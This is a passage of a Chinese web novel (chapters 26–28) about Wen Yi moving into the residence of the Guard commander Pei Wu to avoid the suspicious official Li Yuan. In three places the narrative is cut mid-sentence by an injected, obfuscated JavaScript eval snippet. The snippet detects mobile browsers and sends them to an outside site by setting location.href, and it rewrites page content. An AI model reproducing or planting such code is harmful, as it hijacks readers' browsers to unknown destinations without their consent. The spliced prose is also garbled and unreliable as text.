她今日寻他出来的由头可就是看吴举人的审讯,原还计量着出些意外,只要中途受了伤,或是拖得太晚,总有办法赖在他府邸不走。 可如今…… 裴误诧异地看了她一眼。 以为她竟没能明白自己话中的意思,头回耐心道: “眼下便只有等。” 察觉马车掉了头,裴误望着车帘朝外头道: “阿石,走后巷那条路。” 诏狱后巷去醉红楼分明饶了路,可这样一来,便会经过昨日那间点心铺子了。 昨日买的荷花酥,与今日又能有多少分别? 阿石心中嫌弃主子这分明是多此一举,嘴上还是依言照做。 心中只唏嘘: 温姑娘这还没勾手指呢,主子已经是三魂都丢了七魄了。 往后的日子,看来还得指着府里主母过。 想清楚这些,阿石一咬牙便多嘴道: “主子您一日都没用膳了,后巷路上酒家多,不如和温姑娘吃了晚膳再回?” 26. 三十六计 这话简直是瞌睡了就有人递枕头。 没等裴误训斥,温以便抢先一步问道: “大人还没用午膳吗?” 她眉头紧蹙,眸中露出浓浓的不赞同之意。 裴误久违地感觉到一丝心虚,避开她的视线轻咳了一声,点了点头。 “既然眼下只能等,那不如去酒楼边吃边等。” “大人意下如何?” 温以用的是问句,语气却不像是询问。 见他没有反对的意思,她快刀斩乱麻地定下了地点,扬声告诉了驾车的阿石。 那家酒楼是京城中少有的“清水铺子”,据她所知,背后并无权贵掌控。 论清净,是个绝对安全的地方。 裴误沉默地看着她思虑酒楼的选择,目光在她披风下艳红的裙摆上停留许久。 这是二人重逢以来,她话最多的一次。 不是不得不回的客套话,而是再家常不过的对话。 温以回过神来,察觉到他直白的视线,不自在地整了整本就裁剪利落的裙角。 到了地方,裴误让阿石跟着她先进去。 原是清净闻名的酒楼,生意却毫不逊色于那些更华丽的酒楼。 门口人来人往,温以揽紧了帏帽的黑纱,点头先进了门。 她即便是带了帏帽,有心人还是能轻易查到她的身份。大摇大摆地与裴误一同进酒楼,并不是什么明智之举。 尽管道理她都懂,却还是有一瞬藏不住的落寞。 幸好带了帏帽,大概是没有人能看得出来。 他们来的时辰早,一楼大堂中只零星坐着几人。即便如此,小二迎上来招呼的时候,温以还是谨慎地上了楼。 她看起来对这酒楼很是熟悉,可以温以的身份,应是少有能出门的机会才对。 阿石跟在她身后,左右望了眼酒楼里清雅的布置,好奇地问: “您是怎么知道这儿的啊?” 温以轻笑一瞬,刚要回答,抬头便看见了一道熟悉的人影。 她下意识低头扶低了帏帽,侧身让对方先行。 她这厢礼貌谦让对方,没想到那男子却没有先行的意思,就这么在她面前站定,堵住了回廊里往来的路。 男子的身影挡住大半光线,将温以半个身子隐在阴影中 “没想到会在这儿碰见。” 不过两步之间的距离,男子被刻意压低了的声线就显得格外暧昧起来。 隔着帏帽,她没抬头,却能察觉到他侵略性极强的眼神。 被这样若有似无的眼神盯上,温以纤细白皙的小臂上瞬间涌起鸡皮疙瘩。 “李大人。” 直到阿石出声应下了他那句意味不明的话,温以才如梦初醒地退开半步。 是了,她现下带着帏帽,李元没道理认得她。 只要她不露怯,那么这句意味不明的问候便只能是对裴误的长随说的。 气氛微妙间,远处忽然换来迟疑的一声: “玄玉兄?” 回廊尽头匆匆走来一人,拍着李元的肩膀笑道: “可是里头太闷了?怎么一人在这儿躲闷呢?” “士达兄说笑,”李元不动声色地躲开了来人的手,恭敬地拱手道,“只是见裴指挥使身边的长随跟在姑娘身后,有些新奇罢了。” “哦?” 他口中的“士达兄”语气一转,视线也好奇地朝温以挪去。 李元在人前从来都是最刻板循礼的书生,甚至从前书院的不少人虽不喜他,对着他温和有礼的态度,也没法恶语相待。 甚至众人都对他的话深信不疑,只因他从不说谎。 若他是行事圆滑之人,兴许当年夫子的案子还会有人疑他一二,可偏偏是他这样书呆子的形象,让瞧他不顺眼的人也摆手说此事绝对与他无干。 “许是公务。” 李元的话打断了那人要探究的目光,两人也不多做停留,结伴回了厢房中。 温以低着头,只能看见他挂在腰间绳结略长的香囊随着步子摇晃两下,便离开了她视线。 那是她初学女工时做给夫子的针线活,只因夫子笑她针脚稚嫩,她便气恼地丢出了窗外,后来青虹怎么也没能找到。 怎么会在他手中? 直到在厢房里坐下,她脑中那香囊摇晃的画面仍然挥之不去。 “温姑娘?” 阿石的声音将温以从思绪中拉出来。 她顺着阿石尴尬的视线望去,才发现裴误不知何时已经在她对面坐下,桌案前还放着一袋精致的油纸包。 “温姑娘,我们大人方才问你话呢。” 阿石站在裴误身后,挤眉弄眼地提示。 温以大致猜得到他问了什么,无非是为何走神。 可眼下两人关系微妙,香囊的事,她也不知该不该告诉他。 兴许他也根本不想听。 “谢大人关怀,方才只是碰到了李大人,我担心会不会被他认出身份,恐对大人有碍。” 即便她不想说,方才阿石也在,碰见李元的事情左右是瞒不了,温以省去香囊的事情,把前后的经过向裴误说了一遍。 说到那位“士达兄”,她严肃了神色: “对了大人,与李元同行那人,你可知道他的身份?” “嗯。” 裴误初时还阴沉着脸,听出她话里话外对李元的提防,才勉强点了点头,回应她的问题。 “那人应该是工部的杨士达。” 他说完这话,两人默契地沉默下来。 工部的人忽然与李元走得近了起来,这其中可寻味的地方也多了起来。 点好的饭菜上的很快,两人沉默地用着饭菜,各自都心思沉闷。 基于马车上那场闹剧,温以也不敢再自作多情地去碰他面前那叠油纸包,只是心不在焉地夹着面前那盘清汤寡水的小白菜。 她尽力放慢了动作,只想要多拖延些时间。 今日出门时她还想着若能在审讯时弄出什么意外,比方说被血腥的场景吓晕过去,他的府邸离诏狱更近些,兴许还能顺势留在那。 可现下—— 温以不动声色地用余光瞥了一眼对面的男人。 他像是个毫无喜恶的傀儡般,面前每个菜都只是浅浅尝了一点,让人看不出分毫偏好。 吃饭对他而言仿佛只是维持生命的动作。 裴误对他面前的饭菜不上心,对她亦然,席上一个眼神也未分来。 倒是刚才提到李元的事情时,裴误的反应比寻常话题显然大不少。 看来只好用出下下策了。 温以收回视线,暗自咬牙下了决心。 勉强吃下小半碗饭菜,她寻摸着时机开口道: “大人,民女能否求您一件事?” 裴误慢下碗筷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027713|148426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手一顿,又被她忽然疏离的自称刺得眸光一暗。 “何事?” 他没有贸然答应,而是端了茶盏垂眸问。 温以猜到他这般态度,装作踌躇片刻后才道: “今日能否多在醉红楼增派些人手?” 裴误意外地抬眸,脑中又浮现出方才诏狱里地狱般的一幕,了然地勾唇苦笑一瞬。 “跟诏狱里的事无关。” 她匆忙解释。 “今日总觉得…李元认出我了。” “若是他晚间来了醉红楼,以我的立场,没有理由将拒他于门外。” 话到这里,裴误眉心的浅“川”果然瞬间皱起,迅速语气讥讽地反问: “他乃朝廷命官,主人家不拒,本官增派再多人手又如何?” 温以没接着话反驳,气氛又忽然落了空。 裴误余光抬眸看去,她似乎被他的话戳中了痛楚,垂眸静坐在桌前,指尖停在光滑的瓷碟边缘,无意识地轻划。 他后知后觉地察觉,温以怎么会想不通这点。 只是她无法请求别的,才会踌躇再三,只能提出这一点。 她这话既是一种示弱地求救,也是表明态度。 是在告诉他:她对李元的提防不低,且不愿见他。 温以在心里默数着数,忍住不抬头看裴误的表情。 她在赌,赌他会心软。 至于此刻失落不安倒也不是装出来的。自从一年前在京城再一次见到李元后,他便三不五时借着各种由头邀她相见,装出一副对她颇多愧疚怜惜的样子。 阿石问她是如何知道这间酒楼的。 其实这件酒楼便是李元年前最后一次邀她相见的地方。 那日李元饮了些酒,不住地朝她道歉。哽咽地朝她提及当年夫子的案情,只说他这些年一直心有愧疚,后悔隐瞒了自己早几日便到了家的事。 还说他更后悔没能再早些到家,只来得及见到夫子冰冷的尸体,没办法拦下悲剧的发生。 李元说的恳切,男儿有泪不轻弹,到后来他却垂下头满脸是泪。 温以没向他提过当年在灶房附近发现的衣料,照理说他应该不知道自己起了疑心才对,可他却主动提及了此事。 给出的解释也还算说得过去。 温以当下冷声安慰了几句,看起来是放下了心结,只是心中却还是警惕着。 不是为别的,只是始终觉得李元的眼神很吓人。 纯粹的底下,她只能看见慢慢的空洞。 即便她只有心证,却始终不能放下对他的怀疑。 瓷碟被她指尖心不在焉地勾连,失去平衡,险些打翻。 碟子里原本盛着的瓜子洒出些,洒落在桌上铺着的锦布上。 温以沉了口气,细细整理起来。 “温老板便这么不知变通吗?” 对面的男人视线追随着她莹白的指尖,似是带着气追问。 “增派人手无用,总有法子是有用的。醉红楼不得清净,总有清净的地方。” 温以隐秘地轻勾唇角: 以退为进,这一计,成了。 她立时带着茫然的神情抬头,仿佛真的想不出法子般望着他。 裴误轻咳一声,避开视线。 他身侧的阿石兴冲冲地替主子解释: “温姑娘,主子的意思是:他允了您到府上来躲几日清净呢!” 27. 三更夜谈 一番折腾,好在兜兜转转总算拉入计划的正轨。 日暮时分,温以带着帏帽如愿踏进了裴误的府邸。 他的府邸比她想象中要小不少,听闻是圣上所赐。宅子虽然算不得大,却五脏俱全,又处在热闹繁华的地段,也算很不错了。 进府门的时候天色已经隐隐擦黑,裴误的步子太快,温以戴着帏帽看不清前路,勉强跟住他的脚步。 直到他府里的小厮将她拦在垂花门下,裴误才发现她一直跟着自己。 “本官还有公务。” “阿石……” 方才那顿饭耽误了不少时间,到喊人时,视线往温以身后望去,没看到阿石的身影,头疼地顿了顿。 “出了垂花门向右行,会有人带你去住处。” 他说得隐晦,身边的小厮都听的摸不着头脑,温以略一思索便懂了他的意思。 大抵是想让十一带她去,却不好明说。 他们离别太久,这段时日温以见过了他太多的变化,此刻一点点小默契反而显得尤其珍贵。 她动作潇洒地行了个江湖间的抱拳礼,脚下的步子都随着心情轻快两分。 只是大约是晚饭时候吃的实在太少,肚子竟不争气地咕咕叫了两声。 温以窘迫地红着脸转加快步子,衣袖却被人拉住。 “把这个带上。” 裴误轻咳一声,将一个眼熟的油纸包塞到她手中。 “给蝉衣买的点心买错了,丢了浪费。” 温以还没说什么,他冷声丢下一句话身影便很快消失在她视线中。 手心的点心还有些余热,荷花酥的香气顺着秋风飘过鼻尖。 她垂眸悄悄弯了唇。 提着点心绕开前院书房的方向,果然没走出多远,便看见了一张相熟的脸。 十一跟阿石是孪生兄弟,外表几乎称得上一模一样,只是十一常年习武,体格上更健硕些。 不过知晓他们二人的人,一眼便能看出两人截然不同的气质。 “十一?” 温以压低声音。 说实话,在这陌生的环境中乍然看见一个熟人,即便是几年未见,温以仍然感到多一丝的安心。 尤其十一还是他如今身边唯一知晓明河县那些过往的人。 垂花门后不远便是后院,裴误的府邸下人不多,这里的确如他所言的很清静。 温以挑开帷帽一角,善意地笑了笑。 “江南一别,当真是好久不见。” 见温以竟还笑得出来,十一扯了扯僵硬的嘴角,边抬步带路边道: “温姑娘好心情。” 十一见过当年她离开后裴误那般消沉的样子,他可没有阿石的好态度。 甫一见到她,首先便觉得不可置信。 这狠心的女子怎么还有脸住到府里来? 十一绞尽脑汁,脚步不停地捡着她的痛楚戳。 “醉红楼里头的人也不知晓不晓得他们的温妈妈早就谋划起来外头的出路了。” 温以只是随着心情问个好,压根不在乎他变扭的态度。没理会他的阴阳怪气,放下帏帽的纱帘跟了上去。 能如此顺利地在裴误的府邸住下来,她自然是好心情。 另谋出路吗? 看来十一是将她当成了攀附权贵想要谋取贵妾名分的那路人。 这几年时光见惯了世上腌臜事,他这两句如同隔靴搔痒,根本不足以让她的情绪有分毫的波动。 两人走了不多时,便到了后院住处。 “主子的意思是由你选。” 十一不情不愿地指着一间小院道: “除了主子的卧房,其余的屋子都是一样的。” 虽不愿承认,但裴误这些年后院的确干净地不像样。后院就连丫鬟也没有几个,自然屋子都是闲置。 他一转头,才发现温以的目光停在主子那间小院的方向,压根没往其他地方瞥一眼。 “哪间都可以?” 温以来了兴趣,挑眉走进小院。 十一想了想主子的吩咐,警惕地挡在她面前。 “除了主子的卧房,哪间都行。” “那我便要这一间。” 她被十一防备的样子逗笑了,纤细红润的指尖略过他身侧,直直指向裴误卧房隔壁的一间耳房。 ——— 是夜,悬月高挂。 潮湿的水汽氤氲而上,细密的水珠攀在木制的桶缘,沾湿了女子纤长的睫。 昏黄的灯火下,她修长白皙的指尖捻开额边扰人的碎发,乌木般漆黑的发丝沾了水,瞬间乖顺地贴在额侧。 一身白玉般的肌肤细嫩如凝脂,可美人单薄的后背处却密密布着淡红色的疤痕。 细长、突兀、如同一丛环绕白玉生长的荆棘玫瑰。 “主子?” 门外忽然传来两声叩门声。竟是蕊秋的声音。 温以撩水的指尖一顿,门外接着问道: “奴婢拿了几身您的衣裳来,要不要拿一身寝衣来?” 这点她倒是没想到。 温以虽然诧异她怎会在这,不过还是立时旋身披好了外衫,点头道: “进来吧。” 蕊秋很清楚自家主子沐浴的习惯,低眉将手里的小包袱放在了屏风后的小凳上,便利索地退到了门口。 素色的包袱不大,里头放着两身不同色的寝衣。 温以解开包袱看了一眼,便皱起了眉头。 她伸出指尖捻起那片难以称之为衣裙的布料,毫不犹豫地挪到了一边。 底下的那一件绸衣质地细腻,看起来布料也多了不少,鸢尾紫的印染在烛火下十分勾眼。 温以在身上那件已经沾湿大半的衣袍和雪青色绸衣间犹豫两秒,红着脸抓起其中一件,裹着外袍推门离开。 洗浴的屋子离寝屋不远,可经不住还没开春的风还冻人。 蕊秋适时给主子披上一件狐毛披风,挡住了外头冰冷的风。 主仆二人沉默地回了温以的住处,直到屋门关上,蕊秋才拍着胸口道: “主子,您不知道裴大人那架势,这回可吓死我了。” 温以不赞同地侧眸。 蕊秋知道她不爱听“死”之类的字眼,不好意思地吐了吐舌揭过。 “奴婢还以为您是被扣下的,一路都心惊胆战的。” 今日天都擦黑了,“阿石”却忽然闯进楼里,只让蕊秋收拾些温以的衣物首饰,便把人带走了。 “阿石小哥一句话也不说,拽着奴婢便走,”蕊秋懊恼地瞥了一眼手腕,偷偷抱怨道,“那力道全然大得不像个读书人。” 温以眸中浮起些许笑意。 蕊秋看到的约莫是十一,暮色昏暗,她分不出也是寻常事。 “以为是裴大人扣下了我,竟还收些这种衣衫来?” 她佯装质问地指了指蕊秋手中的包袱。 蕊秋一脸得意地摇了摇手中另一个包袱,庆幸道: “还好奴婢做了两手打算,不然岂不误事?” 看她一脸求夸奖的样子,温以无奈地弯唇笑了笑。 只可惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105310|148426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蕊秋的未雨绸缪终究是要落空了。 裴误只是顾虑她的安全,才同意她住进府里。而她也不打算逼得太紧,这身“清凉”的衣裙自然不会派上用场。 “这打算恐怕还是落空。” 她话才出口,门外便又传来叩门声。 “姑娘,”方才给她送水来的大丫鬟在门外恭敬道,“大人请您去一趟书房,有要事相商。” 门内主仆二人对视一眼。 温以敛眉紧了紧还未脱下的披风,推门应道: “劳你带路。” …… 这一路便可见裴误府里素简。 除了几颗经年的老树,便只剩下一些不值钱的花草。不仅文玩古物见不到半点,就连字画花草也鲜少。 若是她如三年前一样不知道他的身份,想必即使进了这间府邸,对他穷书生的身份大概也是深信不疑。 走到门前,带路的姑娘便放低了灯笼退到一边。 “大人,温姑娘到了。” 屋里的男人很快沉声: “进来。” 夜色已深,温以指尖在门上停了两秒,深呼吸一瞬,才推门迈步。 “大人。” 她寝衣外只系着一件厚厚的狐毛披风,行礼的动作显得有些笨拙。 裴误听到她的声音,抬首只一眼便皱紧了眉心。 温以余光一直关注着他的神色,见他皱眉,下意识怕他是看出了她穿的单薄,有些心虚地退了半步。 不过他很快松开眉心,起身半掩上了窗,目光却未曾在她身上停留半分。 “诏狱内传信,暗杀吴举人的几人已被拿下。” 裴误站在窗前,背对着月色。 “虽然事情已了。只可惜那几人都吞了毒,一一死了。” “那吴举人呢?” 温以下意识追问。 他似乎对她的问题很诧异,挑眉轻笑道: “自然是也死了。” 裴误的话太轻巧,轻巧到不像是在说一条人命。 想起吴举人最后说的证据,她担忧道: “那证据呢?可有到手?” 这次裴误没有回答,但她已经从他的轻笑中得到了答案。 他说过,锦衣卫何时讲过证据? “大人,那些刺客身上可有检查过?或许有些我们漏掉的线索,便是指向幕后之人的关键……” 牡丹最后凄冷的样子她此生都难忘。温以希望吴举人能偿命,却不是以这种方式。 这一桩案子毁了她在京城两年的经营与心血。 温以知道,一旦醉红楼没了用,以主子的心性,即便是对楼里的既要只知道半分的姑娘,也没了活路。 再怎么腌臜,那个红颜窟里却至少是一条生路。 一滴清泪从眼角滑落,借着月色,被她隐在狐毛间。 不管结果如何,她更希望揪出幕后之人,给主子一个交代,为他们争取一线生机。 “对了!还有毒。” “他们口中藏的毒定有来处,也许也是一处突破。” 她说到此处,忽然被男人含笑的眼神冻住。 急促的语气也渐渐缓了下来。 裴误靠在窗畔,神色松散地撑着下巴,神色含笑,这笑却让人感觉不到一丝温度。 “我不是说了事情已了了吗?” 他语气无奈,像是对待少年时候胡闹的她,口中说出的话却让温以一怔。 “温以,”裴误严肃了语气。“真凶已经偿命。” “该满意了。” 28. 三鲜烧麦 该…满意了吗? 裴误依旧立在窗前,温以看不清他脸上的神色,只能看清轮廓。 作为武将的这三年,不止是身形,他整个人都冷硬了不少。 若说从前的他是一块冷玉,至少摸起来仍是温润的,今日的他却更像一块刀刃,已被打磨得削铁如泥,如果伸手去碰,只会割开一道长长的伤口。 “大人就不想找出真相吗?” 她朝着窗边走近了两步,想看清他此刻的表情。 厚重的披风随着她的动作撇开一二,衣摆处露出的雪青色裙摆如同一朵摇曳的鸢尾花,步步绽开。 裴误似乎是对她的反应诧异外又觉得好笑,闷闷地笑了两声。 她还未看清他的神色,便被他的笑声顿住了脚步。 温以听得出来,他是认真的。 “真相”二字,不知道从什么时候开始,已经变成他听来便觉得可笑的词了,更别提律法了。 柔和的烛火勾勒着女子如玉的侧脸。 她神色不喜不悲,可眼眸中却有什么流水般的情绪流淌着,裴误凝眸探究,竟看出两分惋惜与悲悯。 她这是在可怜他? 一瞬间的猜测彻底点燃了他的理智,身后的窗缝中钻来刺骨寒意,又很快让男人冷静了下来。 本是陌路人,她要如何想与他也无关。 “案子几日后便会彻底了结,到时你便搬回醉红楼吧。” 裴误冷了神色,不容争议道: “今夜诏狱的事,只要你就此忘了,便不会再有危险。” 他语气算是断言,虽然温以不知道他为何如此笃定,但也从这口气中嗅出些异样。 裴误如此阻止她查,不外乎两种可能。 一是他与幕后之人有利益牵扯,二便是幕后之人他们都惹不起。 可裴误是锦衣卫指挥使,直受圣上差遣,以锦衣卫万事不顾及的“疯犬”做派,能让他停手的,便只有…… 龙椅上那位。 温以被自己的猜测吓了一跳,只是微微倾了半寸身体一个呼吸间,裙摆勾住了香炉边。 还燃着余烬的香灰随着香炉倾斜的角度洒出些许,溅在她纯白的狐毛披风上。 火星见要复燃,她不得不背过身去,解开半边披风放到脚下扑灭。 女子莹白的薄肩在着雪青色的衣料下衬得尤其晃眼。 裴误呼吸一滞,不自在地偏头撇开视线。 方才一瞥的画面在脑中久久无法散去,她莹白的肩头攀着一条淡粉色的细长伤痕,看起来有些时候了。虽然只露出一角,可那长长的伤痕从衣角中伸出,不知衣料下还有多少。 略一走神,温以披风上的火星子已经被扑灭,只留下纯白的兽毛上几个零星的灼烧痕迹。 星星点点,算是将这件品相不错的披风毁了大半。 这件狐毛披风是她初来京城那年主子赐下的,温以矮下身伸手,可惜地在那斑斑点点的痕迹上摸了摸。 “大人今夜说的我记下了。” “夜深露重,大人早些休息。” 她直起身,福身行礼后便要离开。 温以走得利落,也没有多纠缠所谓的“真相”。书房的房门被合上,阻隔住门外的寒风。 裴误仰身靠在檀木圈椅上,望着墙上悬挂着的两把绣春刀出神。 苏丞相那边还未动作,沧州又莫名起了暴动。 一波未平一波又生,朝堂不知什么时候起,从前埋在地下的暗流已经开始忍不住浮到水面上。他从前只觉得律法辜负人,才阴差阳错入了锦衣卫,尝过权力的滋味后,才明白为什么那么多聪明人都对这个位置趋之若鹜。 刀剑上行走又如何? 权字诱人。 他亦是俗人。 拿起手边的密折,裴误会收回视线垂眸良久,密密麻麻的墨字却不入心,脑中总是不由浮现方才看见的伤痕。 她一个锦绣窟里头的青楼话事人,哪来的这般伤痕? 看那伤口的形势,不像是新伤。细长却深,像是某种鞭痕或是粗绳磨砺留下的伤口。 听闻京城中早有些权贵私下里以折磨婢女贱妾为乐,残暴之行不忍于耳,温以再是富,在这些权贵面前仍然地位卑贱,必然也有不得已的时刻…… 撕拉— 薄薄的纸页被撕裂一道口。 男人搁在折子上的手背浮着青筋,指节收紧间发出清脆的骨响。 今夜看来是看不了剩下的密折了。 …… 裴误难得早归寝房一次,远远却似乎看见寝房亮着灯火。 他指节握上腰间的绣春刀炳,放轻脚步靠近。 迈近了,才发觉那并不是他寝房的灯,而是右边那间紧挨着的耳房亮着。 纸窗模模糊糊映着女子半坐的身影,房内不时传来掺着羞恼的娇斥。 握住刀柄的手指渐渐松开,裴误朝那扇小窗凝眸片刻,收回了视线。 窗内—— 蕊秋正替坐在妆台前的温以抹着发油。 裴误这里没有正经妆台,说是妆台,实则不过是一片铜镜搁在了窗边的书桌上。 “主子,裴大人这连个像样的妆台也没有,未免也…” 蕊秋梳理着温以柔顺的长发,小声抱怨道,“未免也太寒酸了罢。” 镜中人已经卸掉了红妆,乌黑如瀑的长发全放了下来搁在肩旁,温以竟难得觉得有些沉沉地,重的难受。 “不可胡说。” 她立时呵止。 裴府看起来布置素简,但裴误绝不会是穷酸之人。但是他这些年得的赏赐,这府里的库房便很可能是装不下的。 蕊秋这么说,不过是对裴误有偏见,事事都要念上两句罢了。 蕊秋本是权贵人家的家生子,长到十岁上下,那家人贪墨太过,被锦衣卫抄了家,这才流落到醉红楼,被她选中做了侍女,为主子办事。 “可是没有妆台,许多事都不方便。” 虽然被温以训斥,蕊秋却还是忍不住道。 她日常管着温以的梳妆事宜,对此事很有微词。 “主子,既然裴大人府里富余得很,您不如跟大人提一句,让库房匀一个搬到屋里?” “不必。” 温以侧身,“这几日为躲着李元,搬到这里已是很麻烦裴大人,这点小事便不要提了。” 说到此处,她望着铜镜中的自己的眼睛,又想起今日裴误那冷漠以待一切的眼神。 可即便如此,他递来的荷花酥却还是热的不是吗? “反正不会在这间屋子久留。” 镜前的女子自信地勾唇,娇艳的颜色霎时间增色十分。 “即便是一个院子,搬来搬去的不也麻烦?” 她不施粉黛的脸色略有些苍白,额前的碎发全被挽起,露出右额那道抹不去的伤疤,眼神却带着十分的底气与自信。 本算不上绝色的脸此刻却显得光华万千,让人挪不开目光。 蕊秋不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137394|148426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由看呆了片刻,回过神来,愈发痛心疾首地道: “主子您就是偏心裴大人!” 这些年跟在主子身边,算是亲眼见了李元大小节日从不忘记地送来礼物,或是用心或是贵重,甚至明知来醉红楼对他的名声不利,却还是一次次闭着人耳目前来。 总之比起一见便对主子冷语,又不甚贴心的裴误来说,蕊秋还是忍不住为李元说两句话。 “李大人待您多好啊,又这般贴心,您这是何必呢?” 温以反是笑意温柔地垂眸,语气羞恼又笃定。 “谁要管他如何。” “总之,我今日就是打定主意要偏心裴误了。” 他这些年过的表面光鲜,刀背上沾的除了别人的血,定也少不了自己的。 偏心他一下又如何? ——— 说了不会在这件屋子留太久,温以是言出必行之人,自然要积极抓住一切时机让这话成真。 次日卯时,她便起来简单梳洗一番,向府中下人问了后厨的方向。 “要想抓住一个男人的心,便要先抓住他的胃。” 这是楼中一位年岁不小的花娘告诉她的。 这几年在楼中,闲下来时温以学了不少案板功夫。 本是因为品日不好出门,只好学了自己满足自己的口腹之欲。没想到今日竟然派上了用场。 她昨日便打听了裴误上衙的时辰,特地做了一桌两广口味的朝食。 皆是分量少样式多,昨日见他好像食欲不振的样子,温以便想做些京城少见些的口味让他尝尝。 算的一分不漏,唯独漏算了裴误的变故。 温以端着朝食才进了小院,恰好撞上正要出府的裴误。 他今日没穿飞鱼服,绣春刀也隐在腰侧。看起来不像是要去上衙的样子。 “温姑娘!” 阿石打破空气中沉闷的因子,招呼道: “您怎么起这么早,我们家大人今日要处理些卫署外的事务,这时辰可比平日早不少呢。” 裴误的目光循声看去,在她手中小案上样样精致可爱的点心上扫了一眼,算是默认了阿石的话。 “原是这样……” 温以有些失望地低头看了看自己手中的点心,有些尴尬地笑道: “我做了些朝食,本想端给大人尝尝的。” 这里头除了两广口味的点心,还有裴误从前爱吃的三鲜烧麦。 她一低头,额角那条疤痕便在发间若隐若现地勾住了裴误的目光。 他目光直直追着那道伤疤,没有应答,也没有迈步离开。 温以还懊恼着没能再早些送到,便听见男人莫名其妙的问话。 “你如今还练剑吗?” 这还是二人重逢后他第一次主动提及与过去有关的话题。虽然莫名,却不带着怨恨、尖刺,任何浓烈的情绪。 她不明所以地抬眸,男人抿唇补充道: “我记得你从前会些剑术,不知道如今还是否练着。” 虽然不知道他为何突然问及此事,温以还是如实道: “只是偶尔练,也称不上是剑术了,多是和着乐曲的剑舞而已。” 她如今下功夫的都是暗器,剑术恐怕都快荒废了。 “嗯。” 裴误颔首,显然还有什么要说的。 “今……” 二人身后忽然冒出一道少女清甜的声音。 “哇!今日竟有这么多好吃的吗!”